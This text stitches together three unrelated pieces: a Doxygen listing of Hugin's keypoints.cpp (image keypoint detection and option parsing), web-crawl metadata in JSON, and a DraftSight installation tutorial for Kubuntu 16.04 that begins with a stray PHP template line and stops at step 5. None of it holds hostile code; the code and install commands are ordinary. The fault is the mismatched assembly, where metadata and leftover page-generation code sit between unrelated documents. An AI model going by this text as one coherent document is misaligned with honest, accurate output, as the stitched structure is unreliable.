00038 #include <vigra/rgbvalue.hxx>
00039
00040 using namespace std;
00041 using namespace TCLAP;
00042 using namespace lfeat;
00043
00044 const char* kVersion="0.9.5";
00045
00046 #define TRACE_IMG(A) cerr << A << std::endl
00047 #define TRACE_INFO(A) cerr << A << std::endl
00048
00049
00050 //typedef boost::shared_ptr<lfeat::KeyPoint> KeyPointPtr;
00051 //typedef std::vector<KeyPointPtr> KeyPointVect_t;
00052 //typedef std::vector<KeyPointPtr>::iterator KeyPointVectIt_t;
00053
00054
00055 // define a Keypoint insertor
00056 class KeyPointVectInsertor : public lfeat::KeyPointInsertor
00057 {
00058 public:
00059 KeyPointVectInsertor ( KeyPointVect_t& iVect ) : _v ( iVect ) {};
00060 inline virtual void operator() ( const lfeat::KeyPoint& k )
00061 {
00062 _v.push_back ( KeyPointPtr ( new lfeat::KeyPoint ( k ) ) );
00063 }
00064
00065 private:
00066 KeyPointVect_t& _v;
00067 };
00068
00069 // define a sieve extractor
00070 class SieveExtractorKP : public lfeat::SieveExtractor<KeyPointPtr>
00071 {
00072 public:
00073 SieveExtractorKP ( KeyPointVect_t& iV ) : _v ( iV ) {};
00074 inline virtual void operator() ( const KeyPointPtr& k )
00075 {
00076 _v.push_back ( k );
00077 }
00078 private:
00079 KeyPointVect_t& _v;
00080 };
00081
00082 bool DetectKeypoints ( const std::string& imgfile, bool downscale,
00083 double surfScoreThreshold,
00084 KeyPointPtr preKeypoint,
00085 bool onlyInterestPoints, int sieveWidth,
00086 int sieveHeight, int sieveSize, KeypointWriter& writer )
00087 {
00088 TRACE_IMG ( "Analyze image..." );
00089 try
00090
00091 {
00092 vigra::ImageImportInfo aImageInfo ( imgfile.c_str() );
00093
00094 int aNewImgWidth = aImageInfo.width();
00095 int aNewImgHeight = aImageInfo.height();
00096
00097 int aOrigImgWidth = aNewImgWidth;
00098 int aOrigImgHeight = aNewImgHeight;
00099
00100 int scale = 1;
00101 if ( downscale )
00102 {
00103 aNewImgWidth >>= 1;
00104 aNewImgHeight >>= 1;
00105 scale = 2;
00106 }
00107
00108 vigra::DImage aImageDouble ( aNewImgWidth, aNewImgHeight );
00109
00110 if ( aImageInfo.isGrayscale() )
00111 {
00112 if ( downscale )
00113 {
00114 TRACE_IMG ( "Load greyscale..." );
00115 vigra::DImage aImageG ( aImageInfo.width(), aImageInfo.height() );
00116 importImage ( aImageInfo, destImage ( aImageG ) );
00117 vigra::resizeImageNoInterpolation (
00118 aImageG.upperLeft(),
00119 aImageG.upperLeft() + vigra::Diff2D ( aNewImgWidth * 2, aNewImgHeight * 2 ),
00120 vigra::DImage::Accessor(),
00121 aImageDouble.upperLeft(),
00122 aImageDouble.lowerRight(),
00123 vigra::DImage::Accessor() );
00124 }
00125 else
00126 {
00127 TRACE_IMG ( "Load greyscale..." );
00128 importImage ( aImageInfo, destImage ( aImageDouble ) );
00129 }
00130 }
00131 else
00132 {
00133 TRACE_IMG ( "Load RGB..." );
00134 //open the image in RGB
00135 vigra::DRGBImage aImageRGB ( aImageInfo.width(), aImageInfo.height() );
00136
00137 if ( aImageInfo.numExtraBands() == 1 )
00138
00139 {
00140
00141 TRACE_INFO ( "Image with alpha channels are not supported" );
00142 return false;
00143
00144 }
00145
00146 else if ( aImageInfo.numExtraBands() == 0 )
00147
00148 {
00149
00150 vigra::importImage ( aImageInfo, destImage ( aImageRGB ) );
00151 }
00152 else
00153 {
00154 TRACE_INFO ( "Image with multiple alpha channels are not supported" );
00155 return false;
00156 }
00157
00158 if ( downscale )
00159 {
00160 TRACE_IMG ( "Resize to greyscale double..." );
00161 vigra::resizeImageNoInterpolation (
00162 aImageRGB.upperLeft(),
00163 aImageRGB.upperLeft() + vigra::Diff2D ( aNewImgWidth * 2, aNewImgHeight * 2 ),
00164 vigra::RGBToGrayAccessor<vigra::RGBValue<double> >(),
00165 aImageDouble.upperLeft(),
00166 aImageDouble.lowerRight(),
00167 vigra::DImage::Accessor() );
00168
00169 }
00170 else
00171 {
00172 // convert to greyscale
00173 TRACE_IMG ( "Convert to greyscale double..." );
00174 vigra::copyImage ( aImageRGB.upperLeft(),
00175 aImageRGB.lowerRight(),
00176 vigra::RGBToGrayAccessor<vigra::RGBValue<double> >(),
00177 aImageDouble.upperLeft(),
00178 vigra::DImage::Accessor() );
00179 }
00180 }
00181
00182
00183 ImageInfo imginfo(imgfile, aOrigImgWidth, aOrigImgHeight);
00184
00185 TRACE_IMG ( "Build integral image..." );
00186 // create integral image
00187 lfeat::Image img;
00188 img.init ( aImageDouble );
00189
00190 KeyPointVect_t kp;
00191 KeyPointVectInsertor aInsertor = KeyPointVectInsertor ( kp );
00192 if ( ! preKeypoint)
00193 {
00194 // setup the detector
00195 lfeat::KeyPointDetector aKP;
00196 aKP.setScoreThreshold ( surfScoreThreshold );
00197
00198 // detect the keypoints
00199 aKP.detectKeypoints ( img, aInsertor );
00200
00201 TRACE_IMG ( "Found "<< kp.size() << " interest points." );
00202
00203 TRACE_IMG ( "Filtering keypoints..." );
00204
00205 lfeat::Sieve<lfeat::KeyPointPtr, lfeat::KeyPointPtrSort > aSieve ( sieveWidth, sieveHeight, sieveSize );
00206 // insert the points in the Sieve
00207 double aXF = ( double ) sieveWidth / ( double ) aImageDouble.width();
00208 double aYF = ( double ) sieveHeight / ( double ) aImageDouble.height();
00209 BOOST_FOREACH ( KeyPointPtr& aK, kp )
00210 aSieve.insert ( aK, ( int ) ( aK->_x * aXF ), ( int ) ( aK->_y * aYF ) );
00211
00212 // pull remaining values from the sieve
00213 kp.clear();
00214
00215 // make an extractor and pull the points
00216 SieveExtractorKP aSieveExt ( kp );
00217 aSieve.extract ( aSieveExt );
00218
00219 TRACE_IMG ( "Kept " << kp.size() << " interest points." );
00220 }
00221 else
00222 {
00223 kp.push_back(boost::shared_ptr<KeyPoint>(preKeypoint));
00224 }
00225
00226 lfeat::KeyPointDescriptor* aKPD;
00227 aKPD = new lfeat::CircularKeyPointDescriptor( img );
00228 TRACE_IMG ( "Generating descriptors and writing output..." );
00229
00230
00231 int dims = aKPD->getDescriptorLength();
00232 if ( onlyInterestPoints )
00233 {
00234 dims = 0;
00235 }
00236
00237 // compute orientation
00238 // vector for keypoints with more than one orientation
00239 KeyPointVect_t kp_new_ori;
00240
00241 BOOST_FOREACH ( KeyPointPtr& aK, kp )
00242 {
00243 if (!( preKeypoint && preKeypoint->_ori > -10000))
00244 {
00245 double angles[4];
00246 int nAngles = aKPD->assignOrientation ( *aK, angles );
00247 std::cerr << "Orientations:" << aK->_ori;
00248 for (int i=0; i < nAngles; i++)
00249 {
00250 // duplicate Keypoint with additional angles
00251 KeyPointPtr aKn = KeyPointPtr ( new lfeat::KeyPoint ( *aK ) );
00252 aKn->_ori = angles[i];
00253 std::cerr << " " << aKn->_ori;
00254 kp_new_ori.push_back(aKn);
00255 }
00256 std::cerr << std::endl;
00257 }
00258 }
00259
00260 // append new keypoints to kp
00261 kp.insert(kp.end(), kp_new_ori.begin(), kp_new_ori.end());
00262
00263 writer.writeHeader ( imginfo, kp.size(), aKPD->getDescriptorLength() );
00264
00265 BOOST_FOREACH ( KeyPointPtr& aK, kp )
00266 {
00267 if ( !onlyInterestPoints )
00268 {
00269 aKPD->makeDescriptor ( *aK );
00270 }
00271 writer.writeKeypoint ( aK->_x * scale, aK->_y * scale, aK->_scale * scale, aK->_ori,
00272 aK->_score, dims, aK->_vec );
00273 }
00274 writer.writeFooter();
00275 delete aKPD;
00276 }
00277
00278 catch ( std::exception& e )
00279
00280 {
00281
00282 TRACE_INFO ( "An error happened while computing keypoints : caught exception: " << e.what() << endl );
00283
00284 return false;
00285
00286 }
00287
00288 return true;
00289 }
00290
00291
00292 class MyOutput : public StdOutput
00293 {
00294 public:
00295
00296 virtual void failure ( CmdLineInterface& c, ArgException& e )
00297 {
00298 std::cerr << "Parse error: " << e.argId() << std::endl << " " << e.error() << std::endl << std::endl << endl;
00299 usage ( c );
00300 }
00301
00302 virtual void usage ( CmdLineInterface& c )
00303 {
00304 int iML = 30;
00305 cout << "Basic usage : " << endl;
00306 cout << " "<< c.getProgramName() << " [options ] IMG" << endl;
00307
00308 cout << endl <<"All options : " << endl;
00309 list<Arg*> args = c.getArgList();
00310 for ( ArgListIterator it = args.begin(); it != args.end(); it++ )
00311 {
00312 string aL = ( *it )->longID();
00313 string aD = ( *it )->getDescription();
00314 // replace tabs by n spaces.
00315 size_t p = aD.find_first_of ( "\t" );
00316 while ( p != string::npos )
00317 {
00318 string aD1 = aD.substr ( 0, p );
00319 string aD2 = aD.substr ( p+1, aD.size() - p + 1 );
00320
00321 aD = aD1 + "\n" + string ( iML, ' ' ) + aD2;
00322 p = aD.find_first_of ( "\t" );
00323 }
00324
00325
00326 if ( (int)aL.size() > iML )
00327 {
00328 cout << aL << endl << string ( iML, ' ' ) << aD << endl;
00329 }
00330 else
00331 {
00332 cout << aL << string ( iML - aL.size(), ' ' ) << aD << endl;
00333 }
00334 }
00335 }
00336
00337 virtual void version ( CmdLineInterface& c )
00338 {
00339 cout << "my version message: 0.1" << endl;
00340 }
00341 };
00342
00343
00344
00345 void parseOptions ( int argc, char** argv )
00346 {
00347 try
00348 {
00349
00350 CmdLine cmd ( "keypoints", ' ', kVersion );
00351
00352 MyOutput my;
00353 cmd.setOutput ( &my );
00354
00355 SwitchArg aArgFullScale ( "","fullscale", "Uses full scale image to detect keypoints (default:false)\n", false );
00356 // SURF has a better performance than the other descriptors, use it by default, if it is enabled
00357 ValueArg<int> aArgSurfScoreThreshold ( "","surfscore", "Detection score threshold (default : 1000)\n", false, 1000, "int" );
00358 ValueArg<int> aArgSieve1Width ( "","sievewidth", "Interest point sieve: Number of buckets on width (default : 10)", false, 10, "int" );
00359 ValueArg<int> aArgSieve1Height ( "","sieveheight", "Interest point sieve : Number of buckets on height (default : 10)", false, 10, "int" );
00360 ValueArg<int> aArgSieve1Size ( "","sievesize", "Interest point sieve : Max points per bucket (default : 10)\n", false, 10, "int" );
00361 ValueArg<std::string> aArgOutputFormat ( "","format", "Output format (text, autopano-xml, descperf), default text\n", false, "text", "string" );
00362 ValueArg<std::string> aArgOutputFile ( "o","output", "Output file. If not specified, print to standard out\n", false, "", "string" );
00363 SwitchArg aArgInterestPoints ( "","interestpoints", "output only the interest points and the scale (default:false)\n", false );
00364 ValueArg<std::string> aArgFixedInterestPoint ( "","ip", "Compute descriptor at x,y,scale,ori \n", false, "", "string" );
00365
00366 cmd.add ( aArgSurfScoreThreshold );
00367 cmd.add ( aArgFullScale );
00368 cmd.add ( aArgSieve1Width );
00369 cmd.add ( aArgSieve1Height );
00370 cmd.add ( aArgSieve1Size );
00371 cmd.add ( aArgOutputFormat );
00372 cmd.add ( aArgOutputFile );
00373 cmd.add ( aArgInterestPoints );
00374 cmd.add ( aArgFixedInterestPoint );
00375
00376 /*
00377 SwitchArg aArgTest("t","test", "Enables test mode\n", false);
00378 cmd.add( aArgTest );
00379 */
00380
00381 UnlabeledMultiArg<string> aArgFiles ( "fileName", "Image files", true, "string" );
00382 cmd.add ( aArgFiles );
00383
00384 cmd.parse ( argc,argv );
00385
00386 //
00387 // Set variables
00388 //
00389 vector<string> aFiles = aArgFiles.getValue();
00390 if ( aFiles.size() != 1 )
00391 {
00392 exit ( 1 );
00393 }
00394
00395 double surfScoreThreshold=1000;
00396 if ( aArgSurfScoreThreshold.isSet() )
00397 {
00398 surfScoreThreshold = ( aArgSurfScoreThreshold.getValue() );
00399 }
00400
00401 bool downscale = true;
00402 if ( aArgFullScale.isSet() )
00403 {
00404 downscale = false;
00405 }
00406
00407 int sieveWidth = 10;
00408 if ( aArgSieve1Width.isSet() )
00409 {
00410 sieveWidth = aArgSieve1Width.getValue();
00411 }
00412 int sieveHeight = 10;
00413 if ( aArgSieve1Height.isSet() )
00414 {
00415 sieveHeight = aArgSieve1Height.getValue();
00416 }
00417 int sieveSize = 10;
00418 if ( aArgSieve1Size.isSet() )
00419 {
00420 sieveSize = aArgSieve1Size.getValue();
00421 }
00422
00423 bool onlyInterestPoints = false;
00424 if ( aArgInterestPoints.isSet() )
00425 {
00426 onlyInterestPoints = true;
00427 }
00428
00429 std::ostream* outstream;
00430 if ( aArgOutputFile.isSet() )
00431 {
00432 outstream = new std::ofstream(aArgOutputFile.getValue().c_str());
00433 }
00434 else
00435 {
00436 outstream = & std::cout;
00437 }
00438
00439 KeypointWriter* writer = 0;
00440 std::string outputformat = "text";
00441 if ( aArgOutputFormat.isSet() )
00442 {
00443 outputformat = aArgOutputFormat.getValue();
00444 }
00445 if (outputformat == "text")
00446 {
00447 writer = new SIFTFormatWriter(*outstream);
00448 }
00449 else if (outputformat == "autopano-sift-xml")
00450 {
00451 writer = new AutopanoSIFTWriter(*outstream);
00452 }
00453 else if (outputformat == "descperf")
00454 {
00455 writer = new DescPerfFormatWriter(*outstream);
00456 }
00457 else
00458 {
00459 std::cerr << "Unknown output format, valid values are text, autopano-sift-xml, descperf" << std::endl;
00460 exit(1);
00461 }
00462
00463
00464 KeyPointPtr preKPPtr;
00465 if ( aArgFixedInterestPoint.isSet() )
00466 {
00467 preKPPtr = KeyPointPtr(new KeyPoint());
00468 preKPPtr->_x = -10001;
00469 preKPPtr->_ori = -10001;
00470 int nf = sscanf(aArgFixedInterestPoint.getValue().c_str(), "%lf:%lf:%lf:%lf",
00471 &(preKPPtr->_x), &(preKPPtr->_y), &(preKPPtr->_scale), &(preKPPtr->_ori));
00472 std::cerr << "passed orientation: " << preKPPtr->_ori << std::endl;
00473 if (nf < 3)
00474 {
00475 std::cerr << "Invalid value for --ip option, expected --ip x:y:scale:ori" << std::endl;
00476 exit(1);
00477 }
00478 }
00479
00480 DetectKeypoints ( aFiles[0], downscale, surfScoreThreshold, preKPPtr, onlyInterestPoints, sieveWidth, sieveHeight, sieveSize, *writer );
00481
00482 if ( aArgOutputFile.isSet() )
00483 {
00484 delete outstream;
00485 }
00486
00487 }
00488 catch ( ArgException& e )
00489 {
00490 cout << "ERROR: " << e.error() << " " << e.argId() << endl;
00491 }
00492 }
00493
00494 int main ( int argc, char** argv )
00495 {
00496 std::cerr << "keypoints " << kVersion << " by Anael Orlinski - [email protected]" << endl << endl;
00497
00498 // create a panodetector object
00499 parseOptions ( argc, argv );
00500
00501 return 0;
00502
00503 }
Generated on 19 Feb 2017 for Hugintrunk by doxygen 1.4.7
|
{
"url": "http://hugin.sourceforge.net/docs/html/keypoints_8cpp-source.html",
"source_domain": "hugin.sourceforge.net",
"snapshot_id": "crawl=CC-MAIN-2017-09",
"warc_metadata": {
"Content-Length": "53469",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:4ROJ47UIGDANVPZPLSNYT4PPRCL6TAJX",
"WARC-Concurrent-To": "<urn:uuid:9b924994-db4d-44c6-8210-6fda3925486f>",
"WARC-Date": "2017-02-19T18:38:12Z",
"WARC-IP-Address": "216.34.181.96",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:NE2RMU5CX4MHTUUKAACDGOYKMVJMKBG3",
"WARC-Record-ID": "<urn:uuid:a2ff1891-2a12-4e36-aebd-1f1c6cfe2a3b>",
"WARC-Target-URI": "http://hugin.sourceforge.net/docs/html/keypoints_8cpp-source.html",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:b5188d08-1359-45bf-8b5b-d65975f03aa7>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-171-10-108.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-09\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for February 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
14,
15,
53,
62,
110,
119,
160,
169,
244,
322,
397,
442,
451,
521,
593,
664,
718,
727,
802,
868,
951,
961,
968,
994,
1019,
1043,
1067,
1102,
1140,
1147,
1180,
1187,
1237,
1297,
1336,
1380,
1387,
1420,
1456,
1501,
1537,
1544,
1571,
1600,
1629,
1636,
1672,
1679,
1729,
1780,
1787,
1794,
1877,
1979,
2075,
2082,
2089,
2125,
2191,
2199,
2213,
2289,
2359,
2371,
2445,
2457,
2464,
2479,
2509,
2518,
2525,
2559,
2632,
2640,
2654,
2720,
2786,
2798,
2832,
2844,
2859,
2889,
2898,
2905,
2978,
3034,
3088,
3158,
3244,
3252,
3296,
3310,
3317,
3329,
3398,
3405,
3458,
3513,
3520,
3568,
3618,
3625,
3654,
3685,
3701,
3739,
3778,
3807,
3823,
3830,
3904,
3911,
3957,
3973,
4008,
4028,
4085,
4174,
4247,
4305,
4352,
4455,
4508,
4560,
4613,
4668,
4688,
4711,
4731,
4788,
4866,
4886,
4902,
4921,
4937,
4984,
5026,
5116,
5123,
5180,
5187,
5207,
5214,
5298,
5334,
5341,
5361,
5368,
5430,
5437,
5457,
5464,
5546,
5566,
5589,
5609,
5702,
5738,
5758,
5765,
5800,
5820,
5889,
5947,
5996,
6101,
6181,
6233,
6286,
6341,
6348,
6368,
6391,
6411,
6457,
6527,
6596,
6662,
6758,
6826,
6897,
6917,
6933,
6940,
6947,
7020,
7027,
7082,
7121,
7153,
7194,
7201,
7234,
7310,
7344,
7360,
7400,
7447,
7511,
7518,
7560,
7618,
7625,
7702,
7709,
7767,
7774,
7897,
7949,
8037,
8127,
8183,
8275,
8282,
8340,
8370,
8377,
8436,
8489,
8537,
8544,
8621,
8637,
8656,
8672,
8746,
8762,
8769,
8816,
8883,
8959,
8966,
8973,
9027,
9067,
9083,
9111,
9127,
9134,
9171,
9240,
9281,
9288,
9340,
9356,
9426,
9446,
9486,
9563,
9627,
9681,
9705,
9776,
9865,
9914,
9971,
10024,
10048,
10094,
10114,
10130,
10137,
10181,
10254,
10261,
10347,
10354,
10406,
10422,
10467,
10487,
10539,
10559,
10662,
10733,
10749,
10785,
10812,
10824,
10831,
10869,
10876,
10888,
10895,
11012,
11019,
11047,
11054,
11066,
11073,
11096,
11104,
11111,
11118,
11158,
11166,
11180,
11187,
11259,
11271,
11407,
11434,
11446,
11453,
11506,
11518,
11546,
11594,
11672,
11679,
11734,
11782,
11862,
11878,
11927,
11984,
12031,
12087,
12133,
12153,
12208,
12281,
12288,
12355,
12408,
12428,
12435,
12442,
12488,
12508,
12588,
12608,
12631,
12651,
12737,
12757,
12773,
12785,
12792,
12847,
12859,
12916,
12928,
12937,
12944,
12951,
12958,
13008,
13016,
13030,
13042,
13049,
13107,
13114,
13141,
13178,
13185,
13316,
13427,
13569,
13722,
13880,
14030,
14189,
14337,
14479,
14614,
14621,
14671,
14712,
14755,
14799,
14841,
14885,
14927,
14973,
15023,
15030,
15047,
15131,
15174,
15191,
15198,
15295,
15332,
15339,
15378,
15385,
15402,
15433,
15450,
15510,
15550,
15566,
15596,
15612,
15619,
15665,
15717,
15733,
15811,
15827,
15834,
15871,
15914,
15930,
15967,
15983,
15990,
16025,
16070,
16086,
16145,
16161,
16197,
16243,
16259,
16320,
16336,
16370,
16414,
16430,
16487,
16503,
16510,
16557,
16605,
16621,
16666,
16682,
16689,
16728,
16772,
16788,
16872,
16888,
16907,
16923,
16966,
16982,
16989,
17031,
17080,
17126,
17142,
17204,
17220,
17262,
17278,
17339,
17355,
17415,
17431,
17494,
17510,
17561,
17577,
17642,
17658,
17677,
17693,
17814,
17841,
17857,
17864,
17871,
17907,
17959,
17975,
18033,
18074,
18117,
18213,
18322,
18408,
18438,
18458,
18568,
18599,
18619,
18635,
18642,
18793,
18800,
18844,
18860,
18896,
18912,
18919,
18931,
18967,
18979,
19053,
19065,
19073,
19080,
19121,
19129,
19238,
19245,
19287,
19326,
19333,
19353,
19360,
19368,
19369
],
"line_end_idx": [
14,
15,
53,
62,
110,
119,
160,
169,
244,
322,
397,
442,
451,
521,
593,
664,
718,
727,
802,
868,
951,
961,
968,
994,
1019,
1043,
1067,
1102,
1140,
1147,
1180,
1187,
1237,
1297,
1336,
1380,
1387,
1420,
1456,
1501,
1537,
1544,
1571,
1600,
1629,
1636,
1672,
1679,
1729,
1780,
1787,
1794,
1877,
1979,
2075,
2082,
2089,
2125,
2191,
2199,
2213,
2289,
2359,
2371,
2445,
2457,
2464,
2479,
2509,
2518,
2525,
2559,
2632,
2640,
2654,
2720,
2786,
2798,
2832,
2844,
2859,
2889,
2898,
2905,
2978,
3034,
3088,
3158,
3244,
3252,
3296,
3310,
3317,
3329,
3398,
3405,
3458,
3513,
3520,
3568,
3618,
3625,
3654,
3685,
3701,
3739,
3778,
3807,
3823,
3830,
3904,
3911,
3957,
3973,
4008,
4028,
4085,
4174,
4247,
4305,
4352,
4455,
4508,
4560,
4613,
4668,
4688,
4711,
4731,
4788,
4866,
4886,
4902,
4921,
4937,
4984,
5026,
5116,
5123,
5180,
5187,
5207,
5214,
5298,
5334,
5341,
5361,
5368,
5430,
5437,
5457,
5464,
5546,
5566,
5589,
5609,
5702,
5738,
5758,
5765,
5800,
5820,
5889,
5947,
5996,
6101,
6181,
6233,
6286,
6341,
6348,
6368,
6391,
6411,
6457,
6527,
6596,
6662,
6758,
6826,
6897,
6917,
6933,
6940,
6947,
7020,
7027,
7082,
7121,
7153,
7194,
7201,
7234,
7310,
7344,
7360,
7400,
7447,
7511,
7518,
7560,
7618,
7625,
7702,
7709,
7767,
7774,
7897,
7949,
8037,
8127,
8183,
8275,
8282,
8340,
8370,
8377,
8436,
8489,
8537,
8544,
8621,
8637,
8656,
8672,
8746,
8762,
8769,
8816,
8883,
8959,
8966,
8973,
9027,
9067,
9083,
9111,
9127,
9134,
9171,
9240,
9281,
9288,
9340,
9356,
9426,
9446,
9486,
9563,
9627,
9681,
9705,
9776,
9865,
9914,
9971,
10024,
10048,
10094,
10114,
10130,
10137,
10181,
10254,
10261,
10347,
10354,
10406,
10422,
10467,
10487,
10539,
10559,
10662,
10733,
10749,
10785,
10812,
10824,
10831,
10869,
10876,
10888,
10895,
11012,
11019,
11047,
11054,
11066,
11073,
11096,
11104,
11111,
11118,
11158,
11166,
11180,
11187,
11259,
11271,
11407,
11434,
11446,
11453,
11506,
11518,
11546,
11594,
11672,
11679,
11734,
11782,
11862,
11878,
11927,
11984,
12031,
12087,
12133,
12153,
12208,
12281,
12288,
12355,
12408,
12428,
12435,
12442,
12488,
12508,
12588,
12608,
12631,
12651,
12737,
12757,
12773,
12785,
12792,
12847,
12859,
12916,
12928,
12937,
12944,
12951,
12958,
13008,
13016,
13030,
13042,
13049,
13107,
13114,
13141,
13178,
13185,
13316,
13427,
13569,
13722,
13880,
14030,
14189,
14337,
14479,
14614,
14621,
14671,
14712,
14755,
14799,
14841,
14885,
14927,
14973,
15023,
15030,
15047,
15131,
15174,
15191,
15198,
15295,
15332,
15339,
15378,
15385,
15402,
15433,
15450,
15510,
15550,
15566,
15596,
15612,
15619,
15665,
15717,
15733,
15811,
15827,
15834,
15871,
15914,
15930,
15967,
15983,
15990,
16025,
16070,
16086,
16145,
16161,
16197,
16243,
16259,
16320,
16336,
16370,
16414,
16430,
16487,
16503,
16510,
16557,
16605,
16621,
16666,
16682,
16689,
16728,
16772,
16788,
16872,
16888,
16907,
16923,
16966,
16982,
16989,
17031,
17080,
17126,
17142,
17204,
17220,
17262,
17278,
17339,
17355,
17415,
17431,
17494,
17510,
17561,
17577,
17642,
17658,
17677,
17693,
17814,
17841,
17857,
17864,
17871,
17907,
17959,
17975,
18033,
18074,
18117,
18213,
18322,
18408,
18438,
18458,
18568,
18599,
18619,
18635,
18642,
18793,
18800,
18844,
18860,
18896,
18912,
18919,
18931,
18967,
18979,
19053,
19065,
19073,
19080,
19121,
19129,
19238,
19245,
19287,
19326,
19333,
19353,
19360,
19368,
19369,
19426
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 19426,
"ccnet_original_nlines": 507,
"rps_doc_curly_bracket": 0.005765470210462809,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.07110846042633057,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.013146099634468555,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5855990648269653,
"rps_doc_frac_unique_words": 0.5984346866607666,
"rps_doc_mean_word_length": 6.747140407562256,
"rps_doc_num_sentences": 137,
"rps_doc_symbol_to_word_ratio": 0.007768149953335524,
"rps_doc_unigram_entropy": 6.536433696746826,
"rps_doc_word_count": 1661,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.031765859574079514,
"rps_doc_frac_chars_dupe_6grams": 0.011242969892919064,
"rps_doc_frac_chars_dupe_7grams": 0.006246100179851055,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.00490764994174242,
"rps_doc_frac_chars_top_3gram": 0.004283039830625057,
"rps_doc_frac_chars_top_4gram": 0.006156870163977146,
"rps_doc_books_importance": -1307.798583984375,
"rps_doc_books_importance_length_correction": -1307.798583984375,
"rps_doc_openwebtext_importance": -846.5774536132812,
"rps_doc_openwebtext_importance_length_correction": -846.5774536132812,
"rps_doc_wikipedia_importance": -621.2487182617188,
"rps_doc_wikipedia_importance_length_correction": -621.2487182617188
},
"fasttext": {
"dclm": 0.4739818572998047,
"english": 0.20487454533576965,
"fineweb_edu_approx": 2.1925652027130127,
"eai_general_math": 0.8650150895118713,
"eai_open_web_math": 0.38069862127304077,
"eai_web_code": 0.8376556634902954
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "006.37",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Cognitive science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "3",
"label": "Academic Writing"
}
},
"reasoning_depth": {
"primary": {
"code": "4",
"label": "Advanced Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-5,372,439,297,425,727,000 |
$schemamarkup = get_post_meta(get_the_ID(), 'schemamarkup', true); if(!empty($schemamarkup)) { echo $schemamarkup; }
How to Install DraftSight on Kubuntu 16.04 Xenial LTS Easy Guide
May 22, 2018 | By the+gnu+linux+evangelist.
Install DraftSight Kubuntu 16.04
Hi! The Tutorial shows you Step-by-Step How to Install DraftSight on Kubuntu 16.04 Xenial LTS GNU/Linux Desktop.
And DraftSight is a Professional-grade 2D Design and Drafting solution that lets you create, edit, view and markup any kind of 2D drawing.
Here are some Key Features of DraftSight:
• 2D Drafting and 3D Design: DraftSight allows users to create both 2D drawings and 3D models, making it versatile for various design needs.
• DWG File Compatibility: It supports DWG files, which are the standard file format for CAD drawings. This compatibility allows for easy collaboration and sharing of designs with others who use CAD software.
• User Interface: The interface of DraftSight is designed to be familiar to CAD users, with tools and menus organized in a way that is intuitive for drafting and design work.
• Customization: Users can customize DraftSight to suit their specific needs through various options and settings, including keyboard shortcuts, tool palettes, and macros.
• API Support: DraftSight offers API support, allowing users to extend its functionality through programming, automation, and integration with other software systems.
• Cross-Platform Compatibility: DraftSight is available for Windows, macOS, and Linux operating systems, providing flexibility in the choice of hardware and operating environment.
• Variants and Pricing: DraftSight offers different versions tailored to different user needs, including a free version with basic features, as well as paid versions with additional functionalities such as 3D modeling, advanced drawing tools, and technical support.
Overall, DraftSight is a popular choice among professionals and hobbyists alike for its robust features, compatibility with DWG files, and affordability compared to some other CAD software options.
It’s widely used in industries such as architecture, engineering, manufacturing, and construction for creating precise technical drawings and designs.
Moreover, DraftSight for Kubuntu 16.04 is a Dassault Systèmes Free CAD with Professional and Enterprise Extensions.
Finally, included inside this Guide you find instructions on How to Getting-Started with DraftSight on Kubuntu.
How to Install DraftSight on Kubuntu 16.04 Xenial LTS - Featured
1. 1. Launching Shell Emulator
Open a Terminal window
(Press “Enter” to Execute Commands)
How to Install DraftSight on Xubuntu 16.04 Xenial LTS - Open Terminal Shell Emulator
2. 2. Installing GDebi
Checking/Installing GDebi Package Installer.
which gdebi
If Not there then:
sudo apt update
sudo apt install gdebi-core gdebi
3. 3. Downloading DraftSight for Kubuntu
Download DraftSight for Kubuntu GNU/Linux
Get DraftSight for Kubuntu
4. 4. Installing DraftSight
Then to Install DraftSight on Kubuntu Linux:
sudo gdebi ~/Downloads/draftSight.deb
Agree to the License:
How to Install DraftSight on Kubuntu 16.04 Xenial LTS - License
5. 5. Amending User’s Path
